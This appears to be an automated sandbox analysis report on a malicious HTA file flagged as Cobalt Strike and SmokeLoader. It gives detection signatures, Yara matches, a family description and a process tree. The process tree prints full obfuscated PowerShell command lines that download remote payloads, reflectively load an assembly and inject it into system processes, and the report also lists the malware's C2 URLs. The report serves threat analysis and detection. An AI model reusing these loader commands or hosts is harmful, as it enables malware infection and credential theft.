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Windows
Analysis Report
veryeasythingsevermadeforcreatenewthignsbetterthigns.hta
Overview
General Information
Detection
Cobalt Strike, SmokeLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Benign windows process drops PE files
Detected Cobalt Strike Beacon
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
Yara detected SmokeLoader
AI detected suspicious sample
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Checks if browser processes are running
Checks if the current machine is a virtual machine (disk enumeration)
Contains functionality to compare user and computer (likely to detect sandboxes)
Creates a thread in another existing process (thread injection)
Found evasive API chain (may stop execution after checking mutex)
Found suspicious powershell code related to unpacking or dynamic code loading
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
Obfuscated command line found
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to query CPU information (cpuid)
Contains functionality to retrieve information about pressed keystrokes
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- mshta.exe (PID: 7744 cmdline:
mshta.exe "C:\Users\ user\Deskt op\veryeas ythingseve rmadeforcr eatenewthi gnsbettert higns.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - powershell.exe (PID: 7848 cmdline:
"C:\Window s\sYSTEM32 \wIndowSpO WersHELl\v 1.0\powerS hELl.ExE" "pOWErSHel l -Ex BypA sS -n Op -w 1 -c dEvicECrE DeNtIaldeP LoyMenT.EX e ; iex($( IeX('[syst Em.TeXt.eN coDINg]'+[ CHaR]58+[C har]0X3a+' utf8.geTsT RinG([sySt eM.COnvErT ]'+[CHar]5 8+[cHAr]58 +'frOMBaSE 64StRING(' +[cHaR]34+ 'JDVnZ0U5N iAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgPSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgYWR ELVRZUEUgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI C1tRW1iRXJ ERUZJbmlUS U9OICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAnW0R sbEltcG9yd CgidVJsbU9 uLmRMbCIsI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBDaGFyU2V 0ID0gQ2hhc lNldC5Vbml jb2RlKV1wd WJsaWMgc3R hdGljIGV4d GVybiBJbnR QdHIgVVJMR G93bmxvYWR Ub0ZpbGUoS W50UHRyICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB XUnQsc3Rya W5nICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICB3d3o sc3RyaW5nI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBjRXdqWU8 sdWludCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgc VN5cHZwZix JbnRQdHIgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI G9vUGdpWGN Payk7JyAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL W5hTWUgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICJ yIiAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLU5hT UVTcGFDRSA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA geWNremRUW nd6ZCAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLVB hc3NUaHJ1O yAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgJDVnZ0U 5Njo6VVJMR G93bmxvYWR Ub0ZpbGUoM CwiaHR0cDo vLzE3Mi4yN DUuMTM1LjE 2Ni82MDAvc 2VldGhlYmV zdHRoaW5nc 2VudGlyZXR pbWV3aXRoZ 3JlYXR0aGl nbnN0b2ViZ S50SUYiLCI kZU52OkFQU ERBVEFcc2V ldGhlYmVzd HRoaW5nc2V udGlyZXRpb WV3aXRoZ3J lYXR0aGlnb i52YlMiLDA sMCk7c1RBU nQtc0xlRVA oMyk7c1RBc nQgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICIkRU5 2OkFQUERBV EFcc2VldGh lYmVzdHRoa W5nc2VudGl yZXRpbWV3a XRoZ3JlYXR 0aGlnbi52Y lMi'+[cHAr ]34+'))')) )" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7856 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7988 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Ex BypAsS -nOp -w 1 -c dEvicE CrEDeNtIal dePLoyMenT .EXe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - csc.exe (PID: 8152 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\zrs0mlof \zrs0mlof. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 8168 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE S611F.tmp" "c:\Users \user\AppD ata\Local\ Temp\zrs0m lof\CSC43C 4496BB9344 E76B253EEA ECE3B141.T MP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) - wscript.exe (PID: 1384 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seeth ebestthing sentiretim ewithgreat thign.vbS" MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 6128 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' SWV4ICggKC gnaHl4aW1h Z2VVcmwgPS BRTGVodHRw czovL2RyaX ZlLmdvbycr J2dsZS5jb2 0vdWM/ZXhw b3J0PWRvd2 5sb2FkJmlk PTFBSVZnSk pKdjFGNnZT NHNVT3libk gtc0R2VWhC WXd1ciBRTG U7aHl4d2Vi Q2xpZW50ID 0gTmV3LU9i JysnamVjdC AnKydTeXN0 ZScrJ20uTm V0LldlYkNs aWUnKydudD toeXhpbWFn ZUJ5dGVzID 0gaHl4d2Vi Q2xpZW50Lk RvdycrJ25s b2FkRCcrJ2 F0YShoeXhp bWFnZVVybC k7aHl4aW1h Z2VUZXh0ID 0gW1N5c3Rl bS5UZXh0Lk VuY29kaW5n XTo6VVRGOC 5HZXRTdHJp bmcoaHl4aW 1hZ2VCeXRl cyk7aHl4c3 RhcnRGbGFn ID0gUUxlPD xCQVNFNicr JzRfU1RBUl Q+PlFMZTto eXhlbmRGbG FnID0gUUxl PDxCQVNFNj RfRU5EPj5R TGU7aHl4c3 RhcnRJbmRl eCA9IGh5eG ltJysnYWdl VGV4dC5Jbm RleE9mKGh5 eHN0YXJ0Rm xhZyk7aHl4 ZW5kSW5kZX ggPSBoeXhp bWFnZVRleH QuSW5kZXhP ZihoeXhlbm RGbGFnKTto eXhzdGFydE luZGV4IC1n ZSAwIC1hbm QgaHl4ZW5k SW5kZXggLW d0IGh5eHN0 YXJ0SW5kZX g7aHl4c3Rh cnRJbmRleC ArPSBoeXhz dGFydEZsYW cuTGVuZ3Ro O2h5eGJhc2 U2NExlbmd0 aCA9IGh5eG VuZEknKydu ZGV4IC0gaH l4c3RhcnRJ bmRleDtoeX hiJysnYXNl NjRDb21tYW 5kID0gaHl4 aW1hZ2VUZX h0LlN1YnN0 cmluZyhoeX hzdGFydElu ZGV4LCBoeX hiYXNlNjRM ZW5ndGgpO2 h5eGJhc2U2 NFJldmVyc2 VkID0gLWpv aW4gKGh5eG JhJysnc2U2 NENvbW1hbm QuVG9DaGEn KydyQXJyYX koKSBWSjkg Rm9yRWFjaC 1PYmplY3Qg eyBoeXhfIH 0pWy0xJysn Li4tKGh5eG Jhc2U2NENv bW1hbmQuTG VuZ3RoKV07 aHl4Y29tbW FuZEJ5dCcr J2VzID0gW1 N5c3RlbS5D b252ZXJ0XT o6RnJvbUJh c2U2NFN0cm luZyhoeXhi YXNlNjRSZX ZlcnNlZCk7 aHl4bG9hZG VkQXNzZW1i bHkgPSBbU3 lzdGVtLlJl ZmxlY3Rpb2 4uQXNzZW1i bHknKyddOj pMb2FkKCcr J2h5eGNvbW 1hbmRCeXRl Jysncyk7aH l4dmFpTWV0 aG9kID0gW2 QnKydubGli LklPLkhvbW VdLkdldE1l dGgnKydvZC hRTGVWQUlR TGUpO2h5eH ZhaU1ldGhv ZC5JbnZva2 UoaHl4bnVs bCwgQChRTG V0eHQuRUVD RlJFLzAwNi 82NjEuNTMx LjU0Mi4yNz EvLzpwdHRo UUxlLCBRTG VkZXNhdGl2 YWRvUUxlLC BRTGVkZXNh dGl2YWQnKy dvUUxlJysn LCBRTGVkZX NhdGl2YWRv UUxlLCBRTG Vhc3AnKydu ZXRfcmVnYn Jvd3NlcnNR TGUsIFFMZW Rlc2F0aXZh ZG9RTGUsIF FMZWRlc2F0 aXZhZG9RTG UsUUxlZGVz YXRpdmFkb1 FMZSxRTGVk ZXNhdGl2YW RvUUxlLFFM ZWRlJysnc2 F0JysnaXZh ZG9RTGUsUU xlZGVzYXRp JysndmFkb1 FMZSxRTGVk ZXNhdGl2YW RvUUxlLFFM ZTFRTGUsUU xlZGVzYXRp dmFkb1FMZS kpOycpLWNy RXBMQUNFIC AoW2NoQXJd MTA0K1tjaE FyXTEyMStb Y2hBcl0xMj ApLFtjaEFy XTM2ICAtck VQTGFDZShb Y2hBcl04MS tbY2hBcl03 NitbY2hBcl 0xMDEpLFtj aEFyXTM5IC 1yRVBMYUNl J1ZKOScsW2 NoQXJdMTI0 KSk=';$OWj uxd = [sys tem.Text.e ncoding]:: UTF8.GetSt ring([syst em.Convert ]::Frombas e64String( $codigo)); powershell .exe -wind owstyle hi dden -exec utionpolic y bypass - NoProfile -command $ OWjuxD MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 6080 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6124 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "Iex ( (('hyxima geUrl = QL ehttps://d rive.goo'+ 'gle.com/u c?export=d ownload&id =1AIVgJJJv 1F6vS4sUOy bnH-sDvUhB Ywur QLe;h yxwebClien t = New-Ob '+'ject '+ 'Syste'+'m .Net.WebCl ie'+'nt;hy ximageByte s = hyxweb Client.Dow '+'nloadD' +'ata(hyxi mageUrl);h yximageTex t = [Syste m.Text.Enc oding]::UT F8.GetStri ng(hyximag eBytes);hy xstartFlag = QLe<<BA SE6'+'4_ST ART>>QLe;h yxendFlag = QLe<<BAS E64_END>>Q Le;hyxstar tIndex = h yxim'+'age Text.Index Of(hyxstar tFlag);hyx endIndex = hyximageT ext.IndexO f(hyxendFl ag);hyxsta rtIndex -g e 0 -and h yxendIndex -gt hyxst artIndex;h yxstartInd ex += hyxs tartFlag.L ength;hyxb ase64Lengt h = hyxend I'+'ndex - hyxstartI ndex;hyxb' +'ase64Com mand = hyx imageText. Substring( hyxstartIn dex, hyxba se64Length );hyxbase6 4Reversed = -join (h yxba'+'se6 4Command.T oCha'+'rAr ray() VJ9 ForEach-Ob ject { hyx _ })[-1'+' ..-(hyxbas e64Command .Length)]; hyxcommand Byt'+'es = [System.C onvert]::F romBase64S tring(hyxb ase64Rever sed);hyxlo adedAssemb ly = [Syst em.Reflect ion.Assemb ly'+']::Lo ad('+'hyxc ommandByte '+'s);hyxv aiMethod = [d'+'nlib .IO.Home]. GetMeth'+' od(QLeVAIQ Le);hyxvai Method.Inv oke(hyxnul l, @(QLetx t.EECFRE/0 06/661.531 .542.271// :ptthQLe, QLedesativ adoQLe, QL edesativad '+'oQLe'+' , QLedesat ivadoQLe, QLeasp'+'n et_regbrow sersQLe, Q Ledesativa doQLe, QLe desativado QLe,QLedes ativadoQLe ,QLedesati vadoQLe,QL ede'+'sat' +'ivadoQLe ,QLedesati '+'vadoQLe ,QLedesati vadoQLe,QL e1QLe,QLed esativadoQ Le));')-cr EpLACE ([c hAr]104+[c hAr]121+[c hAr]120),[ chAr]36 -r EPLaCe([ch Ar]81+[chA r]76+[chAr ]101),[chA r]39 -rEPL aCe'VJ9',[ chAr]124)) " MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - aspnet_regbrowsers.exe (PID: 1704 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\asp net_regbro wsers.exe" MD5: BB8B6B54FD50C08AB579B84BF07918CF) - aspnet_regbrowsers.exe (PID: 8012 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\asp net_regbro wsers.exe" MD5: BB8B6B54FD50C08AB579B84BF07918CF) - explorer.exe (PID: 3968 cmdline:
C:\Windows \Explorer. EXE MD5: 662F4F92FDE3557E86D110526BB578D5) - explorer.exe (PID: 2288 cmdline:
C:\Windows \SysWOW64\ explorer.e xe MD5: DD6597597673F72E10C9DE7901FBA0A8) - explorer.exe (PID: 2312 cmdline:
C:\Windows \explorer. exe MD5: 662F4F92FDE3557E86D110526BB578D5) - explorer.exe (PID: 2796 cmdline:
C:\Windows \SysWOW64\ explorer.e xe MD5: DD6597597673F72E10C9DE7901FBA0A8) - explorer.exe (PID: 2936 cmdline:
C:\Windows \SysWOW64\ explorer.e xe MD5: DD6597597673F72E10C9DE7901FBA0A8) - explorer.exe (PID: 4232 cmdline:
C:\Windows \explorer. exe MD5: 662F4F92FDE3557E86D110526BB578D5) - WerFault.exe (PID: 7352 cmdline:
C:\Windows \system32\ WerFault.e xe -u -p 4 232 -s 704 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0) - explorer.exe (PID: 3108 cmdline:
C:\Windows \SysWOW64\ explorer.e xe MD5: DD6597597673F72E10C9DE7901FBA0A8) - explorer.exe (PID: 4072 cmdline:
C:\Windows \explorer. exe MD5: 662F4F92FDE3557E86D110526BB578D5) - explorer.exe (PID: 6160 cmdline:
C:\Windows \SysWOW64\ explorer.e xe MD5: DD6597597673F72E10C9DE7901FBA0A8) - explorer.exe (PID: 4576 cmdline:
C:\Windows \explorer. exe MD5: 662F4F92FDE3557E86D110526BB578D5)
- wihaduv (PID: 1556 cmdline:
C:\Users\u ser\AppDat a\Roaming\ wihaduv MD5: BB8B6B54FD50C08AB579B84BF07918CF) - conhost.exe (PID: 3200 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
SmokeLoader | The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body. |
{"Version": 2022, "C2 list": ["http://prolinice.ga/index.php", "http://vilendar.ga/index.php"]}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_SmokeLoader | Yara detected SmokeLoader | Joe Security | ||
JoeSecurity_SmokeLoader_2 | Yara detected SmokeLoader | Joe Security | ||
Windows_Trojan_Smokeloader_4e31426e | unknown | unknown |
| |
JoeSecurity_SmokeLoader_2 | Yara detected SmokeLoader | Joe Security | ||
Windows_Trojan_Smokeloader_4e31426e | unknown | unknown |
| |
Click to see the 8 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_SmokeLoader_2 | Yara detected SmokeLoader | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |